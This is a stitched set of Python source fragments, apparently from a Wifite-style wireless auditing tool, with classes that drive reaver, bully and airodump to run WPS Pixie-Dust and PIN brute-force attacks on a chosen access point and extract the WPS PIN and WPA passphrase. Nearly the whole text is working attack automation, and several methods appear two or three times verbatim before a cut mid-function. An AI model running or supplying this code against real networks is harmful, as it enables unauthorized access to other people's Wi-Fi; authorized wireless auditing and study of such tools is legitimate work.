def load(json): ''' Returns an instance of the appropriate object given a json instance ''' if json['type'] == 'WPA': from CrackResultWPA import CrackResultWPA result = CrackResultWPA(json['bssid'], json['essid'], json['handshake_file'], json['key']) elif json['type'] == 'WEP': from CrackResultWEP import CrackResultWEP result = CrackResultWEP(json['bssid'], json['essid'], json['hex_key'], json['ascii_key']) elif json['type'] == 'WPS': from CrackResultWPS import CrackResultWPS result = CrackResultWPS(json['bssid'], json['essid'], json['pin'], json['psk']) result.date = json['date'] return result
def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '--interface', Configuration.interface, '--bssid', self.target.bssid, '--channel', self.target.channel, '--pixie-dust', '1', # pixie-dust attack #'--delay', '0', #'--no-nacks', '--session', '/dev/null', # Don't restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = 'initializing' time_since_last_step = 0 with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix='pixie') as airodump: Color.clear_line() Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") while True: try: airodump_target = self.wait_for_target(airodump) except Exception as e: Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) Color.pl("") return False stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if (pin and psk and ssid) or reaver.poll() != None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin and psk and ssid: # We cracked it. bssid = self.target.bssid Color.clear_line() Color.pattack( "WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") self.crack_result = CrackResultWPS( bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") return False if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break last_step = step # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') Color.pl( '{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break step = '({C}step -/8{W}) waiting for AP rate limit' if step != last_step: # Step changed, reset step timer time_since_last_step = 0 else: time_since_last_step += 1 if time_since_last_step > Configuration.wps_pixie_step_timeout: Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", step) time.sleep(1) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False
def run_wps_pin_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) stdout_write = open(self.stdout_file, 'a') # Start reaver process command = [ 'reaver', '--interface', Configuration.interface, '--bssid', self.target.bssid, '--channel', self.target.channel, '--session', '/dev/null', # Don't restart session '-vv' # verbose ] reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) self.success = False pins = set() pin_current = 0 pin_total = 11000 failures = 0 state = 'initializing' with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix='wps') as airodump: Color.clear_line() Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...") while True: try: airodump_target = self.wait_for_target(airodump) except Exception as e: Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e) Color.pl("") return False time.sleep(1) percent = 100 * float(pin_current) / float(pin_total) Color.clear_line() status = '{G}%.2f%% done{W}, ' % percent status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total) status += '{R}%d/%d failures{W}' % ( failures, Configuration.wps_fail_threshold) Color.pattack("WPS", airodump_target, "PIN Attack", status) if failures >= Configuration.wps_fail_threshold: Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}') Color.pl("") break # Get output out = self.get_stdout() # Clear output file f = open(self.stdout_file, 'w') f.write('') f.close() # CHECK FOR CRACK (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) if pin and psk and ssid: # We cracked it. self.success = True Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) self.crack_result.dump() break # PIN PROGRESS # Reaver 1.5.* match = None for match in re.finditer( 'Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): # Look at last entry for "Pin count advanced" to get latest pin count pass if match: # Reset failures on successful try failures = 0 groups = match.groups() pin_current = int(groups[0]) pin_total = int(groups[1]) # Reaver 1.3, 1.4 match = None for match in re.finditer('Trying pin (\d+)', out): if match: pin = int(match.groups()[0]) if pin not in pins: # Reset failures on successful try failures = 0 pins.add(pin) pin_current += 1 # Failures if 'WPS transaction failed' in out: failures += out.count('WPS transaction failed') elif 'Receive timeout occurred' in out: # Reaver 1.4 failures += out.count('Receive timeout occurred') # Status if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' if 'Starting Cracking Session' in out: state = '{C}cracking{W}' # Reaver 1.4 if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' if 'Detected AP rate limiting' in out: state = '{R}rate-limited{W}' if Configuration.wps_skip_rate_limit: Color.pl(state) Color.pl('{!} {R}hit rate limit, stopping{W}') Color.pl( '{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break if 'WARNING: Failed to associate with' in out: # TODO: Fail after X association failures (instead of just one) Color.pl( '\n{!} {R}failed to associate with target, {O}stopping{W}' ) break match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta match = re.search( 'Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta pins_left = int(match.groups()[1]) # Divine pin_current & pin_total from this: pin_current = 11000 - pins_left # Check if process is still running if reaver.pid.poll() != None: Color.pl('{R}failed{W}') Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') self.success = False break # Output the current state Color.p(state) ''' [+] Waiting for beacon from AA:BB:CC:DD:EE:FF [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>) [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 [+] Trying pin 12345670. [+] Pin count advanced: 46. Max pin attempts: 11000 [!] WPS transaction failed (code: 0x02), re-trying last pin [!] WPS transaction failed (code: 0x03), re-trying last pin [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking [!] WARNING: 25 successive start failures [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) [+] 0.55% complete. Elapsed time: 0d0h2m21s. [+] Estimated Remaining time: 0d15h11m35s [+] Pin cracked in 7 seconds [+] WPS PIN: '12345678' [+] WPA PSK: 'abcdefgh' [+] AP SSID: 'Test Router' Reaver 1.4: [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) [!] WARNING: Receive timeout occurred ''' reaver.interrupt() return self.success
class AttackWPS(Attack): def __init__(self, target): super(AttackWPS, self).__init__(target) self.success = False self.crack_result = None def run(self): ''' Run all WPS-related attacks ''' # Drop out if user specified to not use Reaver if Configuration.no_reaver: self.success = False return self.success # Run Pixie-Dust attack if self.is_pixiedust_supported(): if self.run_pixiedust_attack(): # Pixie-Dust attack succeeded. We're done. self.success = True return self.success else: Color.pl( "{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}" ) if Configuration.pixie_only: Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}') self.success = False else: # Run WPS-PIN attack self.success = self.run_wps_pin_attack() return self.success def is_pixiedust_supported(self): ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' output = Process(['reaver', '-h']).stderr() return '--pixie-dust' in output def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '--interface', Configuration.interface, '--bssid', self.target.bssid, '--channel', self.target.channel, '--pixie-dust', '1', # pixie-dust attack #'--delay', '0', #'--no-nacks', '--session', '/dev/null', # Don't restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = 'initializing' time_since_last_step = 0 with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix='pixie') as airodump: Color.clear_line() Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") while True: try: airodump_target = self.wait_for_target(airodump) except Exception as e: Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) Color.pl("") return False stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if (pin and psk and ssid) or reaver.poll() != None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin and psk and ssid: # We cracked it. bssid = self.target.bssid Color.clear_line() Color.pattack( "WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") self.crack_result = CrackResultWPS( bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") return False if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break last_step = step # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') Color.pl( '{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break step = '({C}step -/8{W}) waiting for AP rate limit' if step != last_step: # Step changed, reset step timer time_since_last_step = 0 else: time_since_last_step += 1 if time_since_last_step > Configuration.wps_pixie_step_timeout: Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", step) time.sleep(1) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False def run_wps_pin_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) stdout_write = open(self.stdout_file, 'a') # Start reaver process command = [ 'reaver', '--interface', Configuration.interface, '--bssid', self.target.bssid, '--channel', self.target.channel, '--session', '/dev/null', # Don't restart session '-vv' # verbose ] reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) self.success = False pins = set() pin_current = 0 pin_total = 11000 failures = 0 state = 'initializing' with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix='wps') as airodump: Color.clear_line() Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...") while True: try: airodump_target = self.wait_for_target(airodump) except Exception as e: Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e) Color.pl("") return False time.sleep(1) percent = 100 * float(pin_current) / float(pin_total) Color.clear_line() status = '{G}%.2f%% done{W}, ' % percent status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total) status += '{R}%d/%d failures{W}' % ( failures, Configuration.wps_fail_threshold) Color.pattack("WPS", airodump_target, "PIN Attack", status) if failures >= Configuration.wps_fail_threshold: Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}') Color.pl("") break # Get output out = self.get_stdout() # Clear output file f = open(self.stdout_file, 'w') f.write('') f.close() # CHECK FOR CRACK (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) if pin and psk and ssid: # We cracked it. self.success = True Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) self.crack_result.dump() break # PIN PROGRESS # Reaver 1.5.* match = None for match in re.finditer( 'Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): # Look at last entry for "Pin count advanced" to get latest pin count pass if match: # Reset failures on successful try failures = 0 groups = match.groups() pin_current = int(groups[0]) pin_total = int(groups[1]) # Reaver 1.3, 1.4 match = None for match in re.finditer('Trying pin (\d+)', out): if match: pin = int(match.groups()[0]) if pin not in pins: # Reset failures on successful try failures = 0 pins.add(pin) pin_current += 1 # Failures if 'WPS transaction failed' in out: failures += out.count('WPS transaction failed') elif 'Receive timeout occurred' in out: # Reaver 1.4 failures += out.count('Receive timeout occurred') # Status if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' if 'Starting Cracking Session' in out: state = '{C}cracking{W}' # Reaver 1.4 if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' if 'Detected AP rate limiting' in out: state = '{R}rate-limited{W}' if Configuration.wps_skip_rate_limit: Color.pl(state) Color.pl('{!} {R}hit rate limit, stopping{W}') Color.pl( '{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break if 'WARNING: Failed to associate with' in out: # TODO: Fail after X association failures (instead of just one) Color.pl( '\n{!} {R}failed to associate with target, {O}stopping{W}' ) break match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta match = re.search( 'Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta pins_left = int(match.groups()[1]) # Divine pin_current & pin_total from this: pin_current = 11000 - pins_left # Check if process is still running if reaver.pid.poll() != None: Color.pl('{R}failed{W}') Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') self.success = False break # Output the current state Color.p(state) ''' [+] Waiting for beacon from AA:BB:CC:DD:EE:FF [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>) [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 [+] Trying pin 12345670. [+] Pin count advanced: 46. Max pin attempts: 11000 [!] WPS transaction failed (code: 0x02), re-trying last pin [!] WPS transaction failed (code: 0x03), re-trying last pin [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking [!] WARNING: 25 successive start failures [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) [+] 0.55% complete. Elapsed time: 0d0h2m21s. [+] Estimated Remaining time: 0d15h11m35s [+] Pin cracked in 7 seconds [+] WPS PIN: '12345678' [+] WPA PSK: 'abcdefgh' [+] AP SSID: 'Test Router' Reaver 1.4: [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) [!] WARNING: Receive timeout occurred ''' reaver.interrupt() return self.success @staticmethod def get_pin_psk_ssid(stdout): ''' Parses WPS PIN, PSK, and SSID from output ''' pin = psk = ssid = None # Check for PIN. # PIN: Printed *before* the attack completes. regex = re.search('WPS pin: *([0-9]*)', stdout) if regex: pin = regex.groups()[0] # PIN: Printed when attack is completed. regex = re.search("WPS PIN: *'([0-9]+)'", stdout) if regex: pin = regex.groups()[0] # Check for PSK. regex = re.search("WPA PSK: *'(.+)'", stdout) if regex: psk = regex.groups()[0] # Check for SSID regex = re.search("AP SSID: *'(.+)'", stdout) if regex: ssid = regex.groups()[0] return (pin, psk, ssid) def get_stdout(self): ''' Gets output from stdout_file ''' if not self.stdout_file: return '' f = open(self.stdout_file, 'r') stdout = f.read() f.close() return stdout.strip()
class Bully(Attack): def __init__(self, target): super(Bully, self).__init__(target) self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0 self.pins_attempted = 0 self.state = "{O}Waiting for beacon{W}" self.m_state = None self.start_time = time.time() self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None self.crack_result = None self.target = target self.cmd = [ "stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292 "bully", "--bssid", target.bssid, "--channel", target.channel, "--detectlock", # Detect WPS lockouts unreported by AP "--force", "-v", "4", "--pixiewps", Configuration.interface ] self.bully_proc = None def attack_type(self): return "Pixie-Dust" def run(self): with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='wps_pin') as airodump: # Wait for target Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), "Waiting for target to appear...") self.target = self.wait_for_target(airodump) # Start bully self.bully_proc = Process(self.cmd, stderr=Process.devnull(), bufsize=0, cwd=Configuration.temp()) t = Thread(target=self.parse_line_thread) t.daemon = True t.start() try: while self.bully_proc.poll() is None: try: self.target = self.wait_for_target(airodump) except Exception as e: Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), "{R}failed: {O}%s{W}" % e) Color.pl("") self.stop() break Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), self.get_status()) time.sleep(0.5) except KeyboardInterrupt as e: self.stop() raise e except Exception as e: self.stop() raise e if self.crack_result is None: Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), "{R}Failed{W}\n") def running_time(self): return int(time.time() - self.start_time) def get_status(self): result = self.state result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time()) result += " {G}tries:%d{W}" % self.pins_attempted result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc) result += " {R}lockouts:%d{W}" % self.consecutive_lockouts result += ")" return result def parse_line_thread(self): for line in iter(self.bully_proc.pid.stdout.readline, b""): if line == "": continue line = line.replace("\r", "").replace("\n", "").strip() if self.parse_line(line): break # Cracked def parse_line(self, line): # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) if got_beacon: # group(1)=ESSID, group(2)=BSSID self.state = "Got beacon" # [+] Last State = 'NoAssoc' Next pin '48855501' last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) if last_state: # group(1)=result, group(2)=PIN result = "Start" # last_state.group(1) pin = last_state.group(2) self.state = "Trying PIN:{C}%s{W}" % pin # [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) if rx_m: # group(1)=M3/M5, group(2)=result, group(3)=PIN self.m_state = rx_m.group(1) result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad if result in ["Pin1Bad", "Pin2Bad"]: self.pins_attempted += 1 self.consecutive_lockouts = 0 # Reset lockout count self.consecutive_timeouts = 0 # Reset timeout count self.consecutive_noassoc = 0 # Reset timeout count result = "{G}%s{W}" % result elif result == "Timeout": self.consecutive_timeouts += 1 result = "{O}%s{W}" % result elif result == "NoAssoc": self.consecutive_noassoc += 1 result = "{O}%s{W}" % result else: result = "{R}%s{W}" % result pin = rx_m.group(3) self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result) # [!] WPS lockout reported, sleeping for 43 seconds ... lock_out = re.search( r".*WPS lockout reported, sleeping for (\d+) seconds", line) if lock_out: sleeping = lock_out.group(1) self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping self.consecutive_lockouts += 1 # [Pixie-Dust] WPS pin not found pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) if pixie_re: self.state = "{R}Failed{W}" # [+] Running pixiewps with the information, wait ... pixie_re = re.search(r".*Running pixiewps with the information", line) if pixie_re: self.state = "{G}Running pixiewps...{W}" # [*] Pin is '80246213', key is 'password' # [*] Pin is '11867722', key is '9a6f7997' pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) if pin_key_re: self.cracked_pin = pin_key_re.group(1) self.cracked_key = pin_key_re.group(2) # PIN : '80246213' pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) if pin_re: self.cracked_pin = pin_re.group(1) # KEY : 'password' key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) if key_re: self.cracked_key = key_re.group(1) #warn_re = re.search(r"\[\!\]\s*(.*)$", line) #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1) if not self.crack_result and self.cracked_pin and self.cracked_key: Color.clear_entire_line() Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") Color.pl("") self.crack_result = CrackResultWPS(self.target.bssid, self.target.essid, self.cracked_pin, self.cracked_key) Color.pl("") self.crack_result.dump() return True else: return False def stop(self): if hasattr(self, "pid") and self.pid and self.pid.poll() is None: self.pid.interrupt() def __del__(self): self.stop()
class Reaver(Attack): def __init__(self, target): super(Reaver, self).__init__(target) self.success = False self.crack_result = None def is_pixiedust_supported(self): ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' output = Process(['reaver', '-h']).stderr() return '--pixie-dust' in output def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '--interface', Configuration.interface, '--bssid', self.target.bssid, '--channel', self.target.channel, '--pixie-dust', '1', # pixie-dust attack #'--delay', '0', #'--no-nacks', '--session', '/dev/null', # Don't restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = 'initializing' time_since_last_step = 0 with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='pixie') as airodump: Color.clear_line() Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") while True: try: airodump_target = self.wait_for_target(airodump) except Exception as e: Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) Color.pl("") return False stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if pin is not None or reaver.poll() is not None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin is not None: # We cracked it. bssid = self.target.bssid Color.clear_entire_line() Color.pattack( "WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") Color.pl("") self.crack_result = CrackResultWPS( bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") return False if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break last_step = step # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') Color.pl( '{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break step = '({C}step -/8{W}) waiting for AP rate limit' if step != last_step: # Step changed, reset step timer time_since_last_step = 0 else: time_since_last_step += 1 if time_since_last_step > Configuration.wps_pixie_step_timeout: Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", step) time.sleep(1) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False @staticmethod def get_pin_psk_ssid(stdout): ''' Parses WPS PIN, PSK, and SSID from output ''' pin = psk = ssid = None # Check for PIN. ''' [+] WPS pin: 11867722''' regex = re.search(r"WPS pin:\s*([0-9]*)", stdout, re.IGNORECASE) if regex: pin = regex.group(1) # Check for PSK. # Note: Reaver 1.6.x does not appear to return PSK (?) regex = re.search("WPA PSK: *'(.+)'", stdout) if regex: psk = regex.group(1) # Check for SSID """1.x [Reaver Test] [+] AP SSID: 'Test Router' """ regex = re.search(r"AP SSID:\s*'(.*)'", stdout) if regex: ssid = regex.group(1) # Check (again) for SSID if ssid is None: """1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)""" regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout) if regex: ssid = regex.group(1) return (pin, psk, ssid) def get_stdout(self): ''' Gets output from stdout_file ''' if not self.stdout_file: return '' with open(self.stdout_file, 'r') as fid: stdout = fid.read() return stdout.strip()
def parse_line(self, line): # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) if got_beacon: # group(1)=ESSID, group(2)=BSSID self.state = "Got beacon" # [+] Last State = 'NoAssoc' Next pin '48855501' last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) if last_state: # group(1)=result, group(2)=PIN result = "Start" # last_state.group(1) pin = last_state.group(2) self.state = "Trying PIN:{C}%s{W}" % pin # [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) if rx_m: # group(1)=M3/M5, group(2)=result, group(3)=PIN self.m_state = rx_m.group(1) result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad if result in ["Pin1Bad", "Pin2Bad"]: self.pins_attempted += 1 self.consecutive_lockouts = 0 # Reset lockout count self.consecutive_timeouts = 0 # Reset timeout count self.consecutive_noassoc = 0 # Reset timeout count result = "{G}%s{W}" % result 